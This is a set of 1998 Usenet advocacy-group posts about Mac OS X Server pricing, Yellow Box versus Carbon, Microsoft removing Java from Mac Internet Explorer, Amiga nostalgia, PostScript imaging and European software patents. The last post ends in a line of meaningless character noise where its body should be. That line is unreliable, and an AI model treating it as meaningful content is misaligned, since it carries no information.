Message-ID: <user-2111980535300001@dub234042.columbus.rr.com>
References: <user-2011980144560001@dub234042.columbus.rr.com> <733uc0$4g5$1@nntp0.reith.bbc.co.uk>
Organization: lotek - www.lotek.org
Date: Sat, 21 Nov 1998 05:35:30 -0500
NNTP-Posting-Date: Sat, 21 Nov 1998 05:38:51 EDT
In article <733uc0$4g5$1@nntp0.reith.bbc.co.uk>, "Matt Wood"
<matthew.wood@bbc.co.uk> wrote:
> I'm just getting ready to be disappointed when my 'consumer portable'
> doesn't run yb stuff :-(
What makes you think it wouldnt? Apples new slogan is "Works for me", they
couldnt say things like that unless it was at least semi-truthful.
From: Jeff <nobody@home.today>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 20 Nov 1998 11:52:48 -0600
Organization: Harris Electronic System Sector
Message-ID: <3655AC70.28E80D6E@home.today>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov>
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Jeff Barber wrote:
> Jamie Schrumpf wrote:
>
> > Heh. One of the UNIX servers I use at work has 1.5 _gig_ of RAM in it.
> > 64 meg just about makes a good workstation.
> > Sometimes it's good to work for DoD.
>
> 3GB RAM and 24 processors is kinda fun too.
>
> Now waiting for somebody from NSA, CIA, etc. to post that 128GB RAM
> and 64 processors is a blast to work with. Followed by some guy from
> Livermore stating that the fun really begins when you hit 1,000 processors. <g>
>
> Jeff Barber
How about 32 Processors and 8GB?
If I told you where it is... I'd have to shoot ya.
:)
Jeff
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Platform independent future? (was Re: New date for OS X Server?)
Date: Sun, 22 Nov 1998 00:02:07 +1100
Organization: OzEmail Ltd.
Message-ID: <736dhd$q49$1@reader1.reader.news.ozemail.net>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <slrn75a0cd.fog.mazulauf@grumpy.met.utah.edu>
Take a look at http://www.macosrumors.com/archive359.html
They're talking about a carbon based, platform independent system!
Where is YB?
>Sal Denaro <sal@panix.com> wrote about MacOSX Server:
>>I would be shocked if the price was under $500. The term "server" was
>>added for a reason; I very much doubt that Apple thinks that OSXS will
>>sell in large numbers.
mazulauf@localhost.localdomain wrote:
>They sure won't sell many copies if it's priced like that. Unfortunately,
>I agree with you and expect an unreasonably high price.
MOSX will be a great quality system. Once it's released a higher pricing
for Server won't matter. My worry is that maybe Apple is believing it's own
Carbon hype, and YB is ceasing to be important.
A high-priced MOSX Server is another movement away from YB/Next issues.
The high price DOES make sense in many ways - It would then have a similar
price to previous Openstep which is what Openstep users "should" expect, and
be much more expensive than MacOS which is kind of what people expect in a 'server'.
>I no longer have faith in Apple's ability
>to do much of anything right anymore. They're going to need to rebuild my
>confidence in them before I plunk my money down on one of their machines.
I hold onto the hope that just as MOSX is a rename to make it SOUND like
the Mac, the "future-Apple-crossplatform-API" will really be YB renamed.
But I too have little faith that Apple will transition across to YB while it
continues to have Carbon developers...
Greg
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sat, 21 Nov 1998 13:19:41 GMT
Organization: Monmouth Internet
Message-ID: <3656bd87.334466637@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com> <3649cccf.7814957@news.monmouth.com> <y1uhfw5lwwa.fsf@acuson.com> <364c50a9.172640523@news.monmouth.com> <3655f8ab.211066742@news.wam.umd.edu>
rsrodger@wam.umd.edu (Rob Rodgers) wrote:
>On Fri, 13 Nov 1998 15:31:29 GMT, WStreett@shell.monmouth.com (Wilbur Streett)
>wrote:
>>Coast.. Anyone remember the name?
>
>The Zenith Z100 had both an 8088 and an 8085 (you could run either, selected
>at bootup) and S100 slots.
>
>A lot of people wasted a lot of money on them. S100 cards were expensive and
>lame next to what was coming out for the PCs of the era, from memory
>expansions and port adapters to sound cards and other toys.
Yeah, I remember the Zenith systems, Heathkit did in the Hobbists with
those systems.. but there was another company, I think down in Delaware,
was around before the IBM PC with x86 stuff..
Wilbur
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sat, 21 Nov 1998 14:17:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <736i22$pbs$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu> <199811202008582097043@mp-214-164.daxnet.no> <734l8p$f2i@shelob.afs.com>
"Greg Anderson" <greg@afs.com> wrote:
> I don't have any inside knowledge of specific prices, but my sense is that
> Sean's guess is closer to what will be announced. Consider that the last
> official runtime version of OPENSTEP 4.2 was $795 (without dev tools). It's
> true there was an academic version, but as Sean points out, Apple already
> has one of those: 8.5.
Well, I have even less insider knowledge of prices, but it seems to me that
charging anything even remotely that high for OS X Server would be so utterly
stupid that I can't conceive that they'll do it. And yes, there's plenty of
precedent, both at Apple and NeXT, for really stupid marketing decisions. But
there's also a recent track record of quite good ones. So let's see what
happens.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Sat, 21 Nov 1998 16:31:06 GMT
Organization: KU
Message-ID: <F53F39F503BDAC69.1776116C1406ED55.884A0F3B9F7C48B5@library-proxy.airnews.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu> <36545FDF.EF8D6DBD@netscape.com> <36562dec.47279702@news.cswnet.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Sat Nov 21 10:34:45 1998
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On Sat, 21 Nov 1998 03:10:18 GMT, guty@rents.conm wrote:
>In 1985 my Amiga 1000 had 4096 colors, two channel sound, and a
>rudimentary speech synthesiser, and it was all standard equipment.
>Today the Amiga spans the cosmos.
>
>Awsome ain't it.
Not really.
--
Nathan A. Hughes
The University Theatre, KU
www.scenedesign.com
From: look@my.sig (Michael J. Stango)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <look-ya02408000R2111981149460001@news>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today>
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Date: Sat, 21 Nov 1998 16:49:47 GMT
NNTP-Posting-Date: Sat, 21 Nov 1998 08:49:47 PDT
Organization: @Home Network
In article <3655AC70.28E80D6E@home.today>, Jeff <nobody@home.today> wrote:
>How about 32 Processors and 8GB?
>If I told you where it is... I'd have to shoot ya.
Yeah, because Microsoft does not yet want anyone to know that those are the
system requirements for "Windows 2000 Super-Enterprise Ultra-Professional
Uber-Server with Sprinkles." :)
~Philly
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
Michael J. Stango --who is known as 'mjstango' at his ISP, 'home.com'
"The masses have little time to think. And how incredible is the
willingness of modern man to believe."
-- Benito Mussolini explains the success of Intel's Pentium II ads
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 22 Nov 1998 18:35:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <739lhb$g1r@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
On Fri, 20 Nov 1998 14:36:27 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>sal@panix.com wrote:
>> I would be shocked if the price was under $500. The term "server" was
>> added for a reason; I very much doubt that Apple thinks that OSXS will
>> sell in large numbers.
>Of course they won't, if they charge $500 for it. That's called a
>self-fulfilling prophesy.
What does NT _server_ sell for? What does Netware _server_ sell for? What
does AppleShare _server_ sell for?
I think they are expecting it be used as a server OS, with some use by
WO developers at first. I don't think they expect Mac users to buy it just
to run OS8 in the bluebox.
>If they're determined to prove that OSX Server will fail in the marketplace,
>they certainly seem to be following the right approach.
I am waiting to see _how_ they plan to sell it and market it before I say
anything about it being a success or a failure.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.society.futures,comp.sys.next.advocacy
Subject: Re: Windows dead in five years?
Date: Sat, 21 Nov 1998 19:03:38 GMT
Organization: Airnews.net! at Internet America
Message-ID: <58781B87F06C8E7E.5ED0A570EC0A5BA6.D93C05E78E4235E1@library-proxy.airnews.net>
References: <clund-2111981833160001@ppp021.uio.no>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Sat Nov 21 12:54:08 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On 21 Nov 1998 17:29:21 GMT, clund@DIE.SPAMMER.DIE.notam.uio.no (C
Lund) wrote:
>I wonder if Windows will survive the next five years... I mean, they have
>three really major hurdles to overcome.
>
>1) DOJ: If things go really bad for M$ in this case, M$ will be split up,
>and they will no longer be able to force the competition out of the market
>like they have been doing most of this decade. "Old" Windows will probably
>stick by their platform, but the newer users may well be looking at Linux,
>the Mac, or even the Amiga instead.
I 'bout shot milk out my nose with that last one.
Does anyone _honestly_ believe that Amiga is _ever_ going to do jack
crap on the desktop. If it were open source, then I could see that
that happening, maybe, but not as-is.
I could see it _maybe_ making a niche for itself in the post-PC
world...
>2) Apple: The G4 and MacOS X are above and beyond anything the Wintel
>duopoly have in the burner, and they'll both be out next year. Merced
>should be able to compete with the G3, but not the G4. And the G4 will be
>released at least six months before the Merced processor. Alpha? Who uses
>it? Is there any software for it? Any support? The "PPC killing" Alpha has
>been right around the corner for so long it isn't worth considering any
>more. As for MacOS X, well, M$ just doesn't have anything that can
>compete.
If Apple were to split itself into Apple and AppleSoft, and pushed
MacOS X on PC hardware then maybe that could happen.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.society.futures,comp.sys.next.advocacy
Subject: Re: Windows dead in five years?
Message-ID: <jinx6568-2111981541010001@arc0a35.burl.sover.net>
References: <clund-2111981833160001@ppp021.uio.no> <58781B87F06C8E7E.5ED0A570EC0A5BA6.D93C05E78E4235E1@library-proxy.airnews.net>
Organization: Airwindows
NNTP-Posting-Date: Sat, 21 Nov 1998 15:38:51 EDT
Date: Sat, 21 Nov 1998 15:41:01 -0500
In article
<58781B87F06C8E7E.5ED0A570EC0A5BA6.D93C05E78E4235E1@library-proxy.airnews.net>,
a1050pi@yahoo.com wrote:
>On 21 Nov 1998 17:29:21 GMT, clund@DIE.SPAMMER.DIE.notam.uio.no (C
>Lund) wrote:
>>1) DOJ: If things go really bad for M$ in this case, M$ will be split up,
>>and they will no longer be able to force the competition out of the market
>>like they have been doing most of this decade. "Old" Windows will probably
>>stick by their platform, but the newer users may well be looking at Linux,
>>the Mac, or even the Amiga instead.
>I 'bout shot milk out my nose with that last one.
>Does anyone _honestly_ believe that Amiga is _ever_ going to do jack
>crap on the desktop. If it were open source, then I could see that
>that happening, maybe, but not as-is.
>I could see it _maybe_ making a niche for itself in the post-PC
>world...
Absolutely. A world is a big thing- a niche of the world is _quite_
large enough to sustain an entire computer platform, in normal
circumstances.
I wish the Amiga platform all the best- I'll be programming for
Macintoshes, but as the new Amigas come across my radar screen I'll be
favorably disposed to working with them and cooperating with them, being
aware of their needs and coding stuff that behaves properly with regard to
them. For instance, if an Amiga web browser shows funny behavior with
regard to HTML generated by my SiteBot app, I'll want to know about it and
see if I can devise a workaround.
You'll note that nowhere do I suggest that I have to abandon all other
computers and use only Amiga, to work with the platform and its users...
Chris Johnson
chrisj@airwindows.com
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: Sat, 21 Nov 1998 17:27:13 -0400
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca>
References: <F2qt7y.C0D@T-FCN.Net> <B27BA479-E551@206.165.43.60>
I just want to interject some scattered sentences that I hope I get
quoted come January. There is more to the QT strategy than meets the
eye. DPS is dead. Remember that QT has been ported to Java. The Java
language will be the fundamental way to interact with YB. So, QT has been
structured so that it can easily be a full compatible component of YB. QT
is almost to the point where it is a platform in itself, read Avie's
testimony for plans. eQD will be interface compatible with QD but that
does not mean it needs to be implementation compatible. GX typography has
already been (over?) committed to.
A lot of this thread is based on incompatibility and feature concerns
with respect to DPS, QT/GX, and eQD. DPS is dead and eQD is an
interface. Guess what is left? But, if you were Apple, would you want to
call your great knew QT vector engine QuickDraw GX? If you were Apple
would you want anyone to talk about Unix in the same paragraph as your
super easy to use knew OS? If you were Apple would you want anyone to
give credence to anything Lawson has to say? (OK, cheap shot, teehee).
Plan for the graphics interfaces we see in QT and MacOS to be
available. Program around them for now until next WWDC (more in QT after
January).
Finally, when the YB and Carbon are looked at, trying to figure what
goes under what is silly. There will be as much sharing as possible.
There will not be separate engines for typography, graphics, etc., just as
there won't be for the core services like internet and file management.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to make nice, polite
academic related replies via email.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: IE, Java, and the Mac
Date: Sat, 21 Nov 1998 10:04:58 -0800
Organization: Net Squared, Inc.
Message-ID: <737edr$2h2$1@your.mother.com>
As most people know, a judge recently ordered Microsoft to change its Java
imlementation in IE to meet Sun's compatibility tests [1]. We also know
Apple has made IE its default browser.
Now Microsoft is announcing that it is removing Java from IE for the
Macintosh [2]. Does anyone have an idea how, if at all, this will affect
Mac users from running Java applications or Java applets?
Todd
[1] http://www.news.com/News/Item/0,4,28937,00.html?st.ne.ni.rel
[2] http://www.news.com/News/Item/0,4,29108,00.html?st.ne.ni.lh
From: "David Campitelli" <campitelli@digitalblueworld.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sat, 21 Nov 1998 14:33:12 -0800
References: <737edr$2h2$1@your.mother.com>
Organization: EarthLink Network, Inc.
Message-ID: <737f60$pvi$1@holly.prod.itd.earthlink.net>
This will have no impact on the Mac version because you can specify whatever
Java machine you want.
The OS installs a virtual machine so you could choose apple vjm. V2.0 is the
most recent
Todd Heberlein (todd at NetSQ dot com) wrote in message
<737edr$2h2$1@your.mother.com>...
>As most people know, a judge recently ordered Microsoft to change its Java
>imlementation in IE to meet Sun's compatibility tests [1]. We also know
>Apple has made IE its default browser.
>
>Now Microsoft is announcing that it is removing Java from IE for the
>Macintosh [2]. Does anyone have an idea how, if at all, this will affect
>Mac users from running Java applications or Java applets?
>
>Todd
>
>
>
>[1] http://www.news.com/News/Item/0,4,28937,00.html?st.ne.ni.rel
>[2] http://www.news.com/News/Item/0,4,29108,00.html?st.ne.ni.lh
>
>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1diurgz.p9zwp4137xl2cN@tnt02dla075.escape.ca>
References: <737edr$2h2$1@your.mother.com>
User-Agent: MacSOUP/2.4b3
Date: Sat, 21 Nov 1998 22:46:09 GMT
NNTP-Posting-Date: Sat, 21 Nov 1998 16:46:09 CDT
Organization: MBnet Networking Inc.
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> As most people know, a judge recently ordered Microsoft to change its Java
> imlementation in IE to meet Sun's compatibility tests [1]. We also know
> Apple has made IE its default browser.
>
> Now Microsoft is announcing that it is removing Java from IE for the
> Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> Mac users from running Java applications or Java applets?
Are they removing the capability to run Java completely?
I know there is the option of using M$'s VM or Apple's.
They could simply use Apple's MRJ, and there would be no problems.
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs/
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1diurz3.3l6j0511pu97zN@tnt02dla075.escape.ca>
References: <737edr$2h2$1@your.mother.com>
User-Agent: MacSOUP/2.4b3
Date: Sat, 21 Nov 1998 22:47:59 GMT
NNTP-Posting-Date: Sat, 21 Nov 1998 16:47:59 CDT
Organization: MBnet Networking Inc.
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> As most people know, a judge recently ordered Microsoft to change its Java
> imlementation in IE to meet Sun's compatibility tests [1]. We also know
> Apple has made IE its default browser.
>
> Now Microsoft is announcing that it is removing Java from IE for the
> Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> Mac users from running Java applications or Java applets?
Are they removing the capability to run Java completely?
I know there is the option of using M$'s VM or Apple's.
They could simply use Apple's MRJ, and there would be no problems.
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs/
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: A problem with QuickTime Vectors and Apple's graphics
Date: 21 Nov 1998 16:08:39 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us5n25kah48.fsf@kit.ai.mit.edu>
References: <F2qrn2.B9J@T-FCN.Net> <B27B7131-2C57B@206.165.43.8>
"Lawson English" <english@primenet.com> writes:
> Yeah, whatever. Either I'll get GXFCN out the door and people will "see the
> light," or they'll laugh at my work and move on.
>
> It all depends on marketing, don't it?
Considering how efficiently you've managed to turn c.s.n.advocacy
against GX for now other reason than that you're advocating it, I
suggest you not take refuge in your ability to market.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sun, 22 Nov 1998 15:04:53 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36589895.B613D530@ncal.verio.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <36550c88.17937362@news.icx.net>
Mime-Version: 1.0
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Michael McCulloch wrote:
> Am I the only person who has just about had enough with the whole
> computer thing? Selling guitars sounds like more fun as a career
> choice.
I'd rather just run a full-time cabinet shop. Selling fine quality oak,
walnut, and cherrywood cabinetry to the Danville, Alamo, and Blackhawk
crowd (fine homes starting at $1,000,000) at a generous margin would be
more rewarding. The nice thing about custom cabinetry is that when it's
done, it ships...
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: PostScript imaging model (was Re: Tweaking fonts)
Date: Sun, 22 Nov 1998 15:13:27 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36589A98.C7FBDAF7@ncal.verio.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdc <72vbkd$i68$1@news.xmission.com> <F2ppF0.FB7.0.scream@sounds.wa.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Brian Willoughby wrote:
> While I understand the advantages of this pure imaging model, what I
> don't understand is why Apple doesn't simply develop their own
> PostScript language interpreter in house and include it as part of
> MacOS X. It sure seems like a lot of work to develop the imaging
> model "clean room" so they don't owe Adobe any royalties, so how much
> additional work could it be to develop the language as well?
The imaging code is the easy 90% of the job. Getting a PostScript
interpreter right, to the point where it passes assorted commercial
acceptance suites (hint: the PostScript specs aren't enough...) is a
huge task. Really hard. Been there. Done that. There are more
productive ways to spend one's time.
As you noted, using a PostScript language stream to implement program
logic is discouraged, for fairly obvious reasons.(e.g. compiled code
runs faster) This was one of the problems that some NeWS programs had.
On driving PostScript printers, well, that's pretty easy to do, and
doesn't require a PostScript interpreter on the host computer. The new
graphics architecture for Mac OS X will be able to generate PostScript,
PDF, or rasterized outputs from the function call API or PDF streams.
This was all covered last May in assorted WWDC sessions.
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Sat, 21 Nov 1998 19:45:10 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <737msf$lvo@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <73519n$no0$3@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
>I'm talking about getting a lot of users of MacOS X so everyone can get
some
>solid feedback on all YB products AND so at least your YB developers can
>have some DAMED income thankyou very much. Apple do you even give a
>$%*^ about them? You pissed off the System X developers and now
>you are slowly crushing your YB developers - get a fricken clue!!
At this point, I think we (YB developers) are just so much collateral damage
waiting to be swept to the side of the road.
>I'm willing to bet a hell of a lot of developers are really pissed off but
>they WILL not talk publically because they don't want to bite the
>'hand that might feed them'. Then again I have to sit back and take
>a deep breath since it could be that Greg is out of the loop..
You are wrong in your assessment of me, Kemosabe.
>I suspect there is still a war going on in Apple whether those at the top
>know it or not and it's showing itself as a true Geminian split
personality.
Every important decision at Apple these days -- what gets done, and what
*doesn't* get done -- starts from the top. There is a war, but it's not the
one you think it is.
Greg
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: IE, Java, and the Mac
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <737edr$2h2$1@your.mother.com> <forrest-2111981444590001@term1-15.vta.west.net>
Message-ID: <36576248.0@news.depaul.edu>
Date: 22 Nov 98 01:00:56 GMT
In comp.sys.next.advocacy Forrest Cameranesi <forrest@west.net> wrote:
> In article <737edr$2h2$1@your.mother.com>, "Todd Heberlein (todd at NetSQ
> dot com)" <todd@dev.null> wrote:
> >Now Microsoft is announcing that it is removing Java from IE for the
> >Macintosh [2]. Does anyone have an idea how, if at all, this will affect
> >Mac users from running Java applications or Java applets?
> I don't use IE myself, but I seem to recall hearing that you can select
> which Java VM or JIT you want it to use. So even if MS removes it's Java
> implementation from IE, you should still be able to point it to MRJ,
> MetroWerks' JIT, or any other Java engine you might happen to have.
I think Microsoft said they are going to have to change release a new
version of IE in order to support that.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Mark" <ubercat@m3.sprynet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Sat, 21 Nov 1998 20:18:18 -0500
Organization: Sprynet News Service
Message-ID: <737om3$ejn$1@juliana.sprynet.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu> <36545FDF.EF8D6DBD@netscape.com> <36562dec.47279702@news.cswnet.com> <F53F39F503BDAC69.1776116C1406ED55.884A0F3B9F7C48B5@library-proxy.airnews.net>
nate wrote in message ...
>On Sat, 21 Nov 1998 03:10:18 GMT, guty@rents.conm wrote:
>
>
>>In 1985 my Amiga 1000 had 4096 colors, two channel sound, and a
>>rudimentary speech synthesiser, and it was all standard equipment.
>>Today the Amiga spans the cosmos. Awsome ain't it.
That's nothing. Back when I started computing there was no graphic
sub-system at all.
We had to rub our eyes very rapidly with our fingers to simluate colored
output, all the while using our fingers and toes to hold variables.
Needless to say, nested loops were a bitch.
From: Axel Boldt <axel@uni-paderborn.de>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: 22 Nov 1998 03:35:57 +0100
Organization: none
Message-ID: <xzqyap41mk2.fsf@uni-paderborn.de>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<364A072C.9341779B@mohawksoft.com>
<Pine.GSO.4.05.9811191310070.14908-100000@sun>
<732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
<36558a3d.714158248@news.tele.dk>
vagn@gmx.net (Vagn R. Nissen <himself@vagn.dk>) writes:
> However, according to Danish law (Denmark is an EPC member state) a
> patent only covers commercial uses. §3(3).1 of the Danish Patent Act
> states substantially as follows "The monopoly does not embrace 1)
> actions which are carried out for a non-commercial purpose". I believe
> similar provisions apply all over Europe.
>
> By the way. Software per se is generally not protected by patents in
> Europe. In principle it is explicitly excepted from patenting, vide
> e.g. A52(2)c, EPC and §1(2).3 DPA. Software per se is (in principle)
> "only" protected by copyright. But thats another lengthy
> discussion....
Wow, that's extremely interesting. Seems like this opens up a great
opportunity for free software development. For example, the mp3 sound
encoders which the German Fraunhofer institute claims a world-wide
patent on could simply be written and distributed from Denmark then,
as free software of course.
You seem to know this stuff, so I've one other question if you don't
mind. Would someone in the US who downloads and uses this hypothetical
free mp3 encoder from Denmark violate any laws?
--
Axel Boldt ** axel@uni-paderborn.de ** math-www.uni-paderborn.de/~axel/
Sponsor free software at the Free Software Bazaar visar.csustan.edu/bazaar/
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IE, Java, and the Mac
Date: Sat, 21 Nov 1998 21:32:36 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-2111982133000001@192.168.0.1>
References: <737edr$2h2$1@your.mother.com> <forrest-2111981444590001@term1-15.vta.west.net> <36576248.0@news.depaul.edu>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
